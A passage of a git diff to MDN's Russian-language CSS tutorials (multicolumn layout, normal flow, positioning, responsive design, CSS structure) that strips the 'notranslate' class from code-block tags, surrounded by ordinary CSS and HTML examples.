adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. @@ -198,7 +198,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто <div class="hidden"> <h6 id="Spanning_the_columns">Spanning the columns</h6> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 2em auto; @@ -217,7 +217,7 @@ h2 { } </pre> -<pre class="brush: html notranslate"><div class="container"> +<pre class="brush: html"><div class="container"> <h1>Simple multicol example</h1> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. @@ -248,7 +248,7 @@ h2 { <div class="hidden"> <h6 id="Cards_example">Cards example</h6> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 2em auto; @@ -256,7 +256,7 @@ h2 { } </pre> </div> -<pre class="brush: html notranslate"><div class="container"> +<pre class="brush: html"><div class="container"> <div class="card"> <h2>I am the heading</h2> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat @@ -315,7 +315,7 @@ h2 { </div> </pre> -<pre class="brush: css notranslate">.container { +<pre class="brush: css">.container { column-width: 250px; column-gap: 20px; } @@ -334,7 +334,7 @@ h2 { <p>В настоящее время также стоит добавлять старое свойство <code>page-break-inside: avoid</code> для лучшей поддержки старых браузеров.</p> -<pre class="brush: css notranslate">.card { +<pre class="brush: css">.card { break-inside: avoid; page-break-inside: avoid; background-color: rgb(207,232,220); @@ -350,14 +350,14 @@ h2 { <div class="hidden"> <h6 id="Multicol_Fragmentation">Multicol Fragmentation</h6> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 Arial, Helvetica, sans-serif; } </pre> -<pre class="brush: html notranslate"><div class="container"> +<pre class="brush: html"><div class="container"> <div class="card"> <h2>I am the heading</h2> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat @@ -417,7 +417,7 @@ h2 { </pre> </div> -<pre class="brush: css notranslate">.container { +<pre class="brush: css">.container { column-width: 250px; column-gap: 20px; } diff --git a/files/ru/learn/css/css_layout/normal_flow/index.html b/files/ru/learn/css/css_layout/normal_flow/index.html index 40f9cdc675..dab4f83142 100644 --- a/files/ru/learn/css/css_layout/normal_flow/index.html +++ b/files/ru/learn/css/css_layout/normal_flow/index.html @@ -45,7 +45,7 @@ original_slug: Learn/CSS/CSS_layout/Нормальный_поток <p>Давайте посмотрим на пример, который объясняет всё из того, что мы рассмотрели в данной статье:</p> <div id="Normal_Flow"> -<pre class="brush: html notranslate"><h1>Базовый поток документа</h1> +<pre class="brush: html"><h1>Базовый поток документа</h1> <p>Я базовый элемент уровня блока. Мои соседние блочные элементы находятся на новой строке подо мной.</p> @@ -55,7 +55,7 @@ original_slug: Learn/CSS/CSS_layout/Нормальный_поток <p>Строчные элементы <span>такие как этот</span> и <span>этот</span> находятся на одной линии с другими, и смежным текстом, если есть пространство. Строчные элементы, что не влезают <span>переходят на новую строку если это возможно (как этот текст)</span>если же это невозможно, они переходят на новую строку, как это изображение: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 500px; margin: 0 auto; } diff --git a/files/ru/learn/css/css_layout/positioning/index.html b/files/ru/learn/css/css_layout/positioning/index.html index 565bd6577a..e30c51cee9 100644 --- a/files/ru/learn/css/css_layout/positioning/index.html +++ b/files/ru/learn/css/css_layout/positioning/index.html @@ -38,11 +38,11 @@ translation_of: Learn/CSS/CSS_layout/Positioning <p>Чтобы продемонстрировать это и настроить ваш образец для будущих разделов, сначала добавьте <code>class</code> <code>positioned</code> ко второму {{htmlelement("p")}} в HTML:</p> -<pre class="brush: html notranslate"><p class="positioned"> ... </p></pre> +<pre class="brush: html "><p class="positioned"> ... </p></pre> <p>А теперь добавьте следующее правило в конец вашего CSS:</p> -<pre class="brush: css notranslate">.positioned { +<pre class="brush: css ">.positioned { position: static; background: yellow; }</pre> @@ -57,7 +57,7 @@ translation_of: Learn/CSS/CSS_layout/Positioning <p>Относительное позиционирование первый тип позиции, который мы рассмотрим. Оно очень похоже на статическое позиционирование, за исключением того что вы можете модифицировать окончательное положение позиционируемого объекта занявшего своё место в макете нормального потока, в том числе заставлять его перекрывать другие элементы на странице. Двигайтесь далее и обновите объявление <code>position</code> в вашем коде:</p> -<pre class="brush: css notranslate">position: relative;</pre> +<pre class="brush: css ">position: relative;</pre> <p>Если вы сохраните и обновите на данном этапе, в результате вы совсем не увидите изменений. Так как же вам модифицировать положение? Вам необходимо использовать свойства {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, и {{cssxref("right")}} которые мы объясним в следующем разделе.</p> @@ -65,7 +65,7 @@ translation_of: Learn/CSS/CSS_layout/Positioning <p>{{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, и {{cssxref("right")}} используются вместе с {{cssxref("position")}} чтобы указать куда именно перемещать позиционируемый элемент. Для того чтобы попробовать, добавьте следующее объявление к правилу <code>.positioned</code> в вашем CSS:</p> -<pre class="brush: css notranslate">top: 30px; +<pre class="brush: css ">top: 30px; left: 30px;</pre> <div class="note"> @@ -75,7 +75,7 @@ left: 30px;</pre> <p>Если вы сейчас сохраните и обновите, вы получите примерно такой результат:</p> <div class="hidden"> -<pre class="brush: html notranslate"><h1>Relative positioning</h1> +<pre class="brush: html "><h1>Relative positioning</h1> <p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> @@ -85,7 +85,7 @@ left: 30px;</pre> <p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css ">body { width: 500px; margin: 0 auto; } @@ -122,12 +122,12 @@ span { <p>Абсолютное позиционирование даёт совершенно другие результаты. Давайте попробуем изменить объявление позиции в вашем коде как показано ниже:</p> -<pre class="brush: css notranslate">position: absolute;</pre> +<pre class="brush: css ">position: absolute;</pre> <p>Если вы сохраните и обновите, то вы должны увидеть нечто подобное:</p> <div class="hidden"> -<pre class="brush: html notranslate"><h1>Absolute positioning</h1> +<pre class="brush: html "><h1>Absolute positioning</h1> <p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> @@ -137,7 +137,7 @@ span { <p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css ">body { width: 500px; margin: 0 auto; } @@ -188,12 +188,12 @@ span { <p><span class="tlid-translation translation" lang="ru"><span title="">Позиционируемый элемент вложен в {{htmlelement ("body")}} в исходном HTML, но в конечном макете он расположен на </span></span>30px от верхнего и левого края страницы. Мы можем изменить <strong>контекст </strong> <strong>позиционирования </strong>— относительно какого элемента позиционируется позиционируемый элемент. <span class="tlid-translation translation" lang="ru"><span title="">Это делается путём установки позиционирования на одном из предков элемента </span></span>— <span class="tlid-translation translation" lang="ru"><span title="">на один из элементов, внутри которого он вложен (вы не можете позиционировать его относительно элемента, внутри которого он НЕ вложен).</span> <span title="">Чтобы продемонстрировать это, добавьте следующее объявление в правило вашего </span></span><code>body</code><span class="tlid-translation translation" lang="ru"><span title="">:</span></span></p> -<pre class="brush: css notranslate">position: relative;</pre> +<pre class="brush: css ">position: relative;</pre> <p>Это должно дать следующий результат:</p> <div class="hidden"> -<pre class="brush: html notranslate"><h1>Positioning context</h1> +<pre class="brush: html "><h1>Positioning context</h1> <p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> @@ -203,7 +203,7 @@ span { <p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css ">body { width: 500px; margin: 0 auto; position: relative; @@ -243,7 +243,7 @@ span { <p>Попробуйте добавить следующий CSS, чтобы сделать первый параграф так же абсолютно позиционированным:</p> -<pre class="brush: css notranslate">p:nth-of-type(1) { +<pre class="brush: css ">p:nth-of-type(1) { position: absolute; background: lime; top: 10px; @@ -258,12 +258,12 @@ span { <p>Для того чтобы изменить порядок наложения, попробуйте объявить для вашего <code>p:nth-of-type(1)</code> правила:</p> -<pre class="brush: css notranslate">z-index: 1;</pre> +<pre class="brush: css ">z-index: 1;</pre> <p>Теперь вы должны видеть законченный пример, с параграфом лаймового цвета сверху:</p> <div class="hidden"> -<pre class="brush: html notranslate"><h1>z-index</h1> +<pre class="brush: html "><h1>z-index</h1> <p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> @@ -273,7 +273,7 @@ span { <p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css ">body { width: 500px; margin: 0 auto; position: relative; @@ -324,7 +324,7 @@ p:nth-of-type(1) { <p>А теперь, обновите правило <code>body</code> удалив объявление <code>position: relative;</code> и добавьте фиксированную высоту как тут:</p> -<pre class="brush: css notranslate">body { +<pre class="brush: css ">body { width: 500px; height: 1400px; margin: 0 auto; @@ -332,7 +332,7 @@ p:nth-of-type(1) { <p>Теперь мы собираемся дать элементу {{htmlelement("h1")}} <code>position: fixed;</code>, а также заставить его располагаться на верху окна просмотра. Добавьте следующее правило в ваш CSS:</p> -<pre class="brush: css notranslate">h1 { +<pre class="brush: css ">h1 { position: fixed; top: 0; width: 500px; @@ -345,14 +345,14 @@ p:nth-of-type(1) { <p>Если вы сохраните и обновите сейчас, вы увидите маленький забавный эффект, <span class="tlid-translation translation" lang="ru"><span title="">при котором заголовок останется неизменным, а содержимое будет прокручиваться вверх и исчезать под ним.</span></span> Но мы можем улучшить это — в данный момент некоторый контент начинается под заголовком. Это из-за того, что позиционируемый заголовок больше не появляется в потоке документа, поэтому остальное содержимое поднимается наверх. Нам надо сдвинуть все это немного вниз; мы можем сделать это установив немного верхнего margin к первому параграфу. Добавьте его сейчас:</p> -<pre class="brush: css notranslate">p:nth-of-type(1) { +<pre class="brush: css ">p:nth-of-type(1) { margin-top: 60px; }</pre> <p>Теперь вы должны видеть законченный пример:</p> <div class="hidden"> -<pre class="brush: html notranslate"><h1>Fixed positioning</h1> +<pre class="brush: html "><h1>Fixed positioning</h1> <p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> @@ -362,7 +362,7 @@ p:nth-of-type(1) { <p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css ">body { width: 500px; height: 1400px; margin: 0 auto; @@ -407,7 +407,7 @@ p:nth-of-type(1) { <div class="hidden"> <h6 id="Sticky_positioning_example">Sticky positioning example</h6> -<pre class="brush: html notranslate"><h1>Sticky positioning</h1> +<pre class="brush: html "><h1>Sticky positioning</h1> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> @@ -417,7 +417,7 @@ p:nth-of-type(1) { <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> </pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css ">body { width: 500px; margin: 0 auto; } @@ -431,7 +431,7 @@ p:nth-of-type(1) { }</pre> </div> -<pre class="brush: css notranslate">.positioned { +<pre class="brush: css ">.positioned { position: sticky; top: 30px; left: 30px; @@ -442,7 +442,7 @@ p:nth-of-type(1) { <p>Интересное и общее использование <code>position: sticky</code> <span class="tlid-translation translation" lang="ru"><span title="">заключается </span></span>в создании индексных страниц <span class="tlid-translation translation" lang="ru"><span title="">с прокруткой, где разные заголовки липнут к верху страницы</span></span>, когда они достигают его. Разметка такого примера может выглядеть так:</p> -<pre class="brush: html notranslate"><h1>Sticky positioning</h1> +<pre class="brush: html "><h1>Sticky positioning</h1> <dl> <dt>A</dt> @@ -475,7 +475,7 @@ p:nth-of-type(1) { <p>CSS может выглядеть как показано ниже. В нормальном потоке элементы {{htmlelement("dt")}} будут прокручиваться вместе с контентом. Когда мы добавляем <code>position: sticky</code> к элементу {{htmlelement("dt")}}, вместе со значением {{cssxref("top")}} 0, поддерживающие браузеры будут приклеивать заголовки к вершине окна просмотра когда они будут достигать той позиции. каждый последующий заголовок будет затем заменять предыдущий при его прокрутке вверх к той позиции.</p> -<pre class="brush: css notranslate">dt { +<pre class="brush: css ">dt { background-color: black; color: white; padding: 10px; @@ -488,7 +488,7 @@ p:nth-of-type(1) { <div id="Sticky_2"> <div class="hidden"> -<pre class="brush: css notranslate">body { +<pre class="brush: css ">body { width: 500px; height: 1400px; margin: 0 auto; @@ -505,7 +505,7 @@ dt { } </pre> -<pre class="brush: html notranslate"><h1>Sticky positioning</h1> +<pre class="brush: html "><h1>Sticky positioning</h1> <dl> <dt>A</dt> diff --git a/files/ru/learn/css/css_layout/responsive_design/index.html b/files/ru/learn/css/css_layout/responsive_design/index.html index 55be5d624f..66e2244aaa 100644 --- a/files/ru/learn/css/css_layout/responsive_design/index.html +++ b/files/ru/learn/css/css_layout/responsive_design/index.html @@ -88,7 +88,7 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн <p>Например, следующее медиавыражение проверяет отображается ли текущая страница как экранная медиа (а не как печатный документ) и имеет ли область просмотра ширину как минимум 800 px. CSS будет применяться к селектору <code>.container</code> только если эти две вещи истины.</p> -<pre class="brush: css notranslate"><code>@media screen and (min-width: 800px) { +<pre class="brush: css"><code>@media screen and (min-width: 800px) { .container { margin: 1em 2em; } @@ -109,12 +109,12 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн <p>В первые дни отзывчивого дизайна, нашим единственным вариантом выполнения было использование <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">floats</a>. Гибкий обтекаемый макет достигался путём присвоения каждому элементу процентной ширины удостоверившись, что итоговые значения в макете не превышают 100%. <span class="tlid-translation translation" lang="ru"><span title="">В своей оригинальной статье о плавучих сетках Маркотт подробно описал формулу для преобразования макета, созданного с использованием пикселей, в проценты.</span></span></p> -<pre class="notranslate"><code>target / context = result </code> +<pre><code>target / context = result </code> </pre> <p>Например, если размер нашего целевого столбца — 60 пикселей, а контекст (или контейнер) в котором он находится — 960 пикселей, то мы делим 60 на 960 чтобы получить значение которое мы можем использовать в нашем CSS, после переноса десятичной точки вправо на 2 цифры.</p> -<pre class="brush: css notranslate"><code>.col { +<pre class="brush: css"><code>.col { width: 6.25%; /* 60 / 960 = 0.0625 */ } </code> </pre> @@ -145,14 +145,14 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн <p>Самый старый из этих методов — это multicol, когда вы задаёте <code>column-count</code>, это отражает то на сколько столбцов вы хотите разбить ваш контент. Далее браузер рассчитывает их размер, размер, который изменится согласно размеру экрана.</p> -<pre class="brush: css notranslate"><code>.container { +<pre class="brush: css"><code>.container { column-count: 3; } </code> </pre> <p>Если вместо этого вы зададите <code>column-width</code>, то вы определите <em>минимальную </em>ширину. Браузер создаст столько столбцов той ширины, сколько будет комфортно умещаться в контейнер, а затем поделит оставшееся пространство между всеми столбцами. Поэтому число столбцов будет меняться согласно тому сколько имеется места.</p> -<pre class="brush: css notranslate"><code>.container { +<pre class="brush: css"><code>.container { column-width: 10em; } </code> </pre> @@ -163,7 +163,7 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн <p>В примере ниже каждый flex элемент будет принимать равное количество пространства во flex контейнере используя запись <code>flex: 1</code> как описано в главе <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox#Flexible_sizing_of_flex_items">Flexbox: Гибкое изменение размеров flex элементов</a>.</p> -<pre class="brush: css notranslate"><code>.container { +<pre class="brush: css"><code>.container { display: flex; } @@ -180,7 +180,7 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн <p>В макете CSS Grid единицы измерения <code>fr</code> позволяют распределять доступное пространство между дорожками сетки. Следующий пример создаёт grid контейнер с тремя дорожками размером <code>1fr</code>. Это создаст три вертикальные дорожки, каждая занимающая одну часть свободного пространства в контейнере. <span class="tlid-translation translation" lang="ru"><span title="">Вы можете узнать больше об этом подходе к созданию сетки в теме Изучение Макета Grid в разделе </span></span><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids#Flexible_grids_with_the_fr_unit">Гибкие grids с единицами fr</a>.</p> -<pre class="brush: css notranslate"><code>.container { +<pre class="brush: css"><code>.container { display: grid; grid-template-columns: 1fr 1fr 1fr; } </code> @@ -194,7 +194,7 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн <p><span class="tlid-translation translation" lang="ru"><span title="">Самый простой подход к отзывчивым изображениям был описан</span></span> в ранних статьях Маркотта по отзывчивому дизайну. <span class="tlid-translation translation" lang="ru"><span title="">По сути, вы берёте изображение максимального размера, которое могло понадобиться, и уменьшаете его.</span></span> Этот подход до сих пор используется и в большинстве таблиц стилей вы найдёте следующий CSS:</p> -<pre class="brush: css notranslate"><code>img { +<pre class="brush: css"><code>img { max-width: 100%; } </code> </pre> @@ -213,7 +213,7 @@ original_slug: Learn/CSS/CSS_layout/Отзывчивый_дизайн <p>В этом примере, мы хотим задать нашему заголовку первого уровня <code>4rem</code>, что значит, что он будет в четыре раза больше нашего базового размера шрифта. Это очень большой заголовок! Мы хотим этот гигантский заголовок только на экранах больших размеров, поэтому мы сначала создаём меньший заголовок, а затем используем медиавыржаение, чтобы переписать его для больших экранов, если мы знаем, что у пользователя есть экран размером как минимум <code>1200px</code>.</p> -<pre class="brush: css notranslate"><code>html { +<pre class="brush: css"><code>html { font-size: 1em; } @@ -252,7 +252,7 @@ h1 { <p>An interesting approach is to use the viewport unit <code>vw</code> to enable responsive typography. <code>1vw</code> is equal to one percent of the viewport width, meaning that if you set your font size using <code>vw</code>, it will always relate to the size of the viewport.</p> -<pre class="brush: css notranslate">h1 { +<pre class="brush: css">h1 { font-size: 6vw; }</pre> @@ -260,7 +260,7 @@ h1 { <p>There is a solution, and it involves using <code><a href="/en-US/docs/Web/CSS/calc">calc()</a></code>. If you add the <code>vw</code> unit to a value set using a fixed size such as <code>em</code>s or <code>rem</code>s then the text will still be zoomable. Essentially, the <code>vw</code> unit adds on top of that zoomed value:</p> -<pre class="brush: css notranslate">h1 { +<pre class="brush: css">h1 { font-size: calc(1.5rem + 3vw); }</pre> @@ -274,7 +274,7 @@ h1 { <p>If you look at the HTML source of a responsive page, you will usually see the following {{htmlelement("meta")}} tag in the <code><head></code> of the document.</p> -<pre class="brush: html notranslate"><code><meta name="viewport" content="width=device-width,initial-scale=1"></code> +<pre class="brush: html"><code><meta name="viewport" content="width=device-width,initial-scale=1"></code> </pre> <p>This meta tag tells mobile browsers that they should set the width of the viewport to the device width, and scale the document to 100% of its intended size, which shows the document at the mobile-optimized size that you intended.</p> diff --git a/files/ru/learn/css/first_steps/how_css_is_structured/index.html b/files/ru/learn/css/first_steps/how_css_is_structured/index.html index a358eaf98b..325c5e56ae 100644 --- a/files/ru/learn/css/first_steps/how_css_is_structured/index.html +++ b/files/ru/learn/css/first_steps/how_css_is_structured/index.html @@ -46,7 +46,7 @@ original_slug: Learn/CSS/First_steps/Как_структурирован_CSS <p>Внешняя таблица стилей - это когда у вас есть CSS отдельным файлом с расширением <code>.css</code>, и ссылка на него из HTML-элемента <code><link></code>:</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -61,7 +61,7 @@ original_slug: Learn/CSS/First_steps/Как_структурирован_CSS <p>Файл CSS может выглядеть следующим образом:</p> -<pre class="brush: css notranslate">h1 { +<pre class="brush: css">h1 { color: blue; background-color: yellow; border: 1px solid black; @@ -75,7 +75,7 @@ p { <p>В приведённом выше примере файл CSS находится в той же папке, что и HTML-документ, но вы можете поместить его куда-нибудь ещё и настроить относительный путь, например:</p> -<pre class="brush: html notranslate"><!-- Файл находится внутри под-директории <em>styles</em>, находящейся в текущей директории --> +<pre class="brush: html"><!-- Файл находится внутри под-директории <em>styles</em>, находящейся в текущей директории --> <link rel="stylesheet" href="styles/style.css"> <!-- Файл — внутри под-директории <em>styles</em> внутри под-под-директории <em>general</em> и так далее --> @@ -90,7 +90,7 @@ p { <p>Таким образом, HTML будет выглядеть вот так:</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -119,7 +119,7 @@ p { <p>Встроенные стили являются правилами CSS, которые влияют только на один элемент, содержащиеся в атрибуте <code>style</code>:</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -141,7 +141,7 @@ p { <p>index.html:</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html lang="ru"> <head> <meta charset="utf-8"> @@ -157,7 +157,7 @@ p { <p>styles.css:</p> -<pre class="brush: css notranslate">/* Пишите сюда свой код */ +<pre class="brush: css">/* Пишите сюда свой код */ p { color: red; @@ -177,7 +177,7 @@ p { <p>Каждое CSS-правило начинается с одного или нескольких селекторов, отделяемых друг от друга запятыми, чтобы дать понять браузеру, к чему применять стили. В следующем примере перечислены стандартные селекторы:</p> -<pre class="brush: css notranslate">h1 /* это селектор тегов */ +<pre class="brush: css">h1 /* это селектор тегов */ a:link /* это селектор ссылок */ .manythings /* это селектор классов (классы применяются тогда, когда необходимо применить правило к нескольким элементам) */ #onething /* это селектор идентификаторов (они применяются, когда правило относится к одному элементу) */ @@ -195,7 +195,7 @@ h1, h2, .intro /* перечисление селекторов */ <p>Иногда может случаться такое, что два селектора будут относиться к одному и тому же элементу HTML. Смотрите: в примере ниже я задал правило для элемента <code>p</code> — он будет синим; также я задал класс, который сделает элемент красным:</p> -<pre class="brush: css notranslate">.special { +<pre class="brush: css">.special { color: red; } @@ -205,11 +205,11 @@ p { <p>А теперь допустим, что в нашем HTML-коде у нас есть абзац <code>p</code> с классом <code>special</code>. Оба правила могут быть добавлены: так какое же одержит верх? Как вы думаете, какого цвета будет надпись?</p> -<pre class="brush: html notranslate"><p class="special">Какого же я цвета?</p></pre> +<pre class="brush: html"><p class="special">Какого же я цвета?</p></pre> <p>В языке CSS есть правила, которые определяют, какое правило "выиграет" в случае подобного столкновения — они называются <strong>каскадами</strong>, или <strong>спецификациями</strong>. В примере ниже мы задали два правила для селектора <code>p</code>, но в итоге текст будет синим: объявление, делающее надпись синей, появилось позже того, которое делает её красной. Это каскад в действии.</p> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { color: red; } @@ -274,9 +274,9 @@ p { <p>Чаще всего значения принимают форму числа или ключевого слова; существуют способы создавать функции для значений. Для примера можно взять функцию <code>calc()</code>. Она позволяет вам совершать лёгкие математические вычисления внутри CSS, например:</p> <div id="calc_example"> -<pre class="brush: html notranslate"><div class="outer"><div class="box">The inner box is 90% - 30px.</div></div></pre> +<pre class="brush: html"><div class="outer"><div class="box">The inner box is 90% - 30px.</div></div></pre> -<pre class="brush: css notranslate">.outer { +<pre class="brush: css">.outer { border: 5px solid black; } @@ -297,9 +297,9 @@ p { <p>В следующем примере будут различные значения для свойства {{cssxref("<transform>")}} <code>rotate()</code>.</p> <div id="transform_example"> -<pre class="brush: html notranslate"><div class="box"></div></pre> +<pre class="brush: html"><div class="box"></div></pre> -<pre class="brush: css notranslate">.box { +<pre class="brush: css">.box { margin: 30px; width: 100px; height: 100px; @@ -324,13 +324,13 @@ p { <p>До сих пор не сталкивались мы с правилами <code><a href="/en-US/docs/Web/CSS/At-rule">@rules</a></code> (произносится как <em>эт-рулс</em>, от английского "at-rules"). Это особые правила, дающие CSS инструкции, как вести себя. У некоторых правил <code>@rules</code> простые названия и значения. Чтобы, к примеру, импортировать ещё одну таблицу стилей в основной CSS-файл, нужно использовать <code>@import</code>:</p> -<pre class="brush: css notranslate">@import 'styles2.css';</pre> +<pre class="brush: css">@import 'styles2.css';</pre> <p>Чаще других встречается <code>@rules</code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;"> под названием </span></font><code>@media</code>: оно позволяет вам использовать <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Media_Queries/Using_media_queries">медиавыражения</a>, чтобы применять CSS в определённых случаях, только если выполняются те или иные условия (например, при изменении размеров окна или при просмотре сайта с иного типа устройства).</p> <p>Ниже у нас CSS-файл, в котором значение заднего фона элемента <code><body></code> равно <code>pink</code>. Однако после мы добавили правило <code>@media</code>, которое делает задний фон элемента синим, при условии если ширина окна не менее 30em.</p> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { background-color: pink; } @@ -350,7 +350,7 @@ p { <p>К примеру, это строка (комментарий не в счёт):</p> -<pre class="brush: css notranslate">/* В четырёхзначных стенографиях наподобие padding и margin значения добавляются +<pre class="brush: css">/* В четырёхзначных стенографиях наподобие padding и margin значения добавляются в порядке верх–право–низ–лево (по часовой стрелке сверху). В трёхзначных стенограммах значения добавляются в порядке верх(низ)–право–лево. В двузначных стенограммах значения добавляются @@ -359,7 +359,7 @@ padding: 10px 15px 15px 5px;</pre> <p>делает то же самое, что и эти четыре, вместе взятые:</p> -<pre class="brush: css notranslate">padding-top: 10px; +<pre class="brush: css">padding-top: 10px; padding-right: 15px; padding-bottom: 15px; padding-left: 5px; @@ -367,18 +367,18 @@ padding-left: 5px; <p>или эти:</p> -<pre class="brush: cpp notranslate">padding-block-start: 10px +<pre class="brush: cpp">padding-block-start: 10px padding-inline-end: 15px; padding-block-end: 15px; padding-inline-start: 5px;</pre> <p>в то время как строка:</p> -<pre class="brush: css notranslate">background: red url(bg-graphic.png) 10px 10px repeat-x fixed;</pre> +<pre class="brush: css">background: red url(bg-graphic.png) 10px 10px repeat-x fixed;</pre> <p>делает то же, что и эти строки:</p> -<pre class="brush: css notranslate">background-color: red; +<pre class="brush: css">background-color: red; background-image: url(bg-graphic.png); background-position: 10px 10px; background-repeat: repeat-x; @@ -398,7 +398,7 @@ background-scroll: fixed;</pre> <p>Комментарии в CSS начинаются с <code>/*</code> и окачиваются с <code>*/</code>. В примере ниже я отметил комментариями различные разделы кода. Это очень полезно для навигации — комментарии легче искать.</p> -<pre class="brush: css notranslate">/* Работаю над основными элементами */ +<pre class="brush: css">/* Работаю над основными элементами */ /* -------------------------------------------------------------------------------------------- */ body { font: 1em/150% Helvetica, Arial, sans-serif; @@ -435,7 +435,7 @@ div p + p { <p>Отделяя комментариями участки кода, не нуждающиеся в проверке, вы можете выискивать ошибку (если такая есть). Ниже я отделил правило для селектора <code>.special</code>.</p> -<pre class="brush: css notranslate">/*.special { +<pre class="brush: css">/*.special { color: red; }*/ @@ -451,7 +451,7 @@ p { <p>В примере ниже каждое объявление (а также начало/окончание правила) находится на своей строке — это, возможно, наилучший вариант написания CSS-кода: он понятен и аккуратен:</p> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; @@ -486,7 +486,7 @@ div p + p { <p id="Very_compact">То же самое вы можете написать, не добавляя большие отступы, — коды идентичны; но я уверен, вы согласитесь, что это очень тяжело прочитать:</p> -<pre class="brush: css notranslate">body {font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; max-width: 33em;} +<pre class="brush: css">body {font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; max-width: 33em;} @media (min-width: 70em) { body {font-size: 130%;} } h1 {font-size: 1.5em;} @@ -500,12 +500,12 @@ div p + p {padding-top: 0;} <p>Внимательно делайте отступы в свойствах и значениях. К примеру, такие объявления будут 